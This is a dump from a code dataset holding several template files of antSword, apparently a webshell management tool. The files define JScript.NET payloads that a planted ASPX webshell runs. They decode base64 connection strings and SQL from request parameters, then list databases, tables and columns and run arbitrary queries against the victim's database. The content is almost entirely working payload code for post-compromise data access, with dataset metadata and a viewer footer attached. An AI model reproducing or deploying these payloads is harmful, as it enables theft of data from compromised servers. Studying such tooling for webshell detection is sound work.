_: `var Conn=new ActiveXObject("Adodb.connection");Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));Conn.ConnectionTimeout=10;Conn.Open();var Rs=Conn.OpenSchema(20);var x:String="";while(!Rs.EOF && !Rs.BOF){if(Rs.Fields(3).Value=="TABLE"){x+=Rs.Fields(2).Value+"\\t";}Rs.MoveNext();}Rs.Close();Conn.Close();Response.Write(x);`,
[arg1]: '#{base64::conn}'
},
//
show_columns: {
_: `function TN(n:Int32):String{switch(n){case 2:return "smallint";case 3:return "int";case 4:return "real";case 5:return "float";case 6:return "money";case 7:return "datetime";case 11:return "bit";case 12:return "variant";case 16:return "tinyint";case 17:return "tinyint";case 20:return "bigint";case 72:return "unique";case 128:return "binary";case 129:return "char";case 130:return "nchar";case 131:return "numeric";case 135:return "datetime";case 200:return "varchar";case 201:return "text";case 202:return "nvarchar";case 203:return "ntext";case 204:return "varbinary";case 205:return "image";default:return n;}}var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"])),Conn,1,1);var c:Int32;for(c=0;c<=Rs.Fields.Count-1;c++){Response.Write(Rs.Fields.Item(c).Name+" ("+TN(Rs.Fields.Item(c).Type)+")\\t");}Rs.Close();Conn.Close();`,
[arg1]: '#{base64::conn}',
// SELECT TOP 1 * FROM table3
[arg2]: '#{base64::table}'
},
// SQL
query: {
_: `var Conn=new ActiveXObject("Adodb.connection");var strSQL:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));Conn.ConnectionTimeout=10;Conn.Open();var CO:String="\\t|\\t",RN:String="\\r\\n",Dat:String;var Rs=Conn.Execute(strSQL);var i:Int32=Rs.Fields.Count,c:Int32;for(c=0;c<i;c++){Response.Write(Rs.Fields(c).Name+CO);}Response.Write(RN);while(!Rs.EOF && !Rs.BOF){for(c=0;c<i;c++){Dat=Rs.Fields(c).Value;Response.Write(Dat);Response.Write(CO);}Response.Write(RN);Rs.MoveNext();}Conn.Close();`,
[arg1]: '#{base64::conn}',
[arg2]: '#{base64::sql}'
}
})
``` | /content/code_sandbox/source/core/aspx/template/database/default.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 853 |
```javascript
//
// ASPX::DNS
//
module.exports = require('./default');
``` | /content/code_sandbox/source/core/aspx/template/database/dsn.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 16 |
```javascript
/**
* access
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));Response.Write(Request.Item["${arg2}"]+"\\t");Conn.Close();`,
[arg1]: '#{base64::conn}',
[arg2]: '#{dbname}'
},
//
show_tables: {
_: `var Conn=new ActiveXObject("Adodb.connection");Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));Conn.ConnectionTimeout=10;Conn.Open();var Rs=Conn.OpenSchema(20);var x:String="";while(!Rs.EOF && !Rs.BOF){if(Rs.Fields(3).Value=="TABLE"){x+=Rs.Fields(2).Value+"\\t";}Rs.MoveNext();}Rs.Close();Conn.Close();Response.Write(x);`,
[arg1]: '#{base64::conn}'
},
//
show_columns: {
_: `function TN(n:Int32):String{switch(n){case 2:return "smallint";case 3:return "int";case 4:return "real";case 5:return "float";case 6:return "money";case 7:return "datetime";case 11:return "bit";case 12:return "variant";case 16:return "tinyint";case 17:return "tinyint";case 20:return "bigint";case 72:return "unique";case 128:return "binary";case 129:return "char";case 130:return "nchar";case 131:return "numeric";case 135:return "datetime";case 200:return "varchar";case 201:return "text";case 202:return "nvarchar";case 203:return "ntext";case 204:return "varbinary";case 205:return "image";default:return n;}}var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"])),Conn,1,1);var c:Int32;for(c=0;c<=Rs.Fields.Count-1;c++){Response.Write(Rs.Fields.Item(c).Name+" ("+TN(Rs.Fields.Item(c).Type)+")\\t");}Rs.Close();Conn.Close();`,
[arg1]: '#{base64::conn}',
// SELECT TOP 1 * FROM table2
[arg2]: '#{base64::table}'
},
// SQL
query: {
_: `var Conn=new ActiveXObject("Adodb.connection");var strSQL:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));Conn.ConnectionTimeout=10;Conn.Open();var CO:String="\\t|\\t",RN:String="\\r\\n",Dat:String;var Rs=Conn.Execute(strSQL);var i:Int32=Rs.Fields.Count,c:Int32;for(c=0;c<i;c++){Response.Write(Rs.Fields(c).Name+CO);}Response.Write(RN);while(!Rs.EOF && !Rs.BOF){for(c=0;c<i;c++){Dat=Rs.Fields(c).Value;Response.Write(Dat);Response.Write(CO);}Response.Write(RN);Rs.MoveNext();}Conn.Close();`,
[arg1]: '#{base64::conn}',
[arg2]: '#{base64::sql}'
}
})
``` | /content/code_sandbox/source/core/aspx/template/database/access.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 868 |
```javascript
//
// ASPX::sqloledb_1_sspi
//
module.exports = require('./default');
``` | /content/code_sandbox/source/core/aspx/template/database/sqloledb_1_sspi.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 25 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.